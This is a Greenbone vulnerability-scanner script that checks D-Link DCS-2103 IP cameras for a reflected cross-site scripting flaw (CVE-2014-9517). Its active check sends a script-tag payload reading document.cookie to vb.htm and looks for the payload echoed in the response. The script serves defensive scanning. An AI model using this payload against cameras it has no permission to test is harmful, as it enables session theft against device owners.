D-Link IP Camera DCS-2103 < 1.20 XSS Vulnerability - Active Check

# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/o:dlink:dcs-2103_firmware";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805034");
  script_version("2023-11-21T05:05:52+0000");
  script_tag(name:"last_modification", value:"2023-11-21 05:05:52 +0000 (Tue, 21 Nov 2023)");
  script_tag(name:"creation_date", value:"2015-01-08 11:21:29 +0530 (Thu, 08 Jan 2015)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2014-9517");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("D-Link IP Camera DCS-2103 < 1.20 XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_dlink_dcs_http_detect.nasl");
  script_mandatory_keys("d-link/dcs/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"D-Link IP Camera DCS-2103 is prone to a cross-site scripting
  (XSS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw is due to an input passed via the vb.htm script to the
  'QUERY_STRING ' parameter is not properly sanitized.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"D-Link IP camera DCS-2103 firmware prior to version 1.20.");

  script_tag(name:"solution", value:"Update to version 1.20 or later.");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/129609");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
  exit(0);

url = "/vb.htm?<script>alert(document.cookie)</script>";

if (http_vuln_check(port: port, url: url, check_header: TRUE,
                    pattern: "<script>alert\(document\.cookie\)</script>")) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);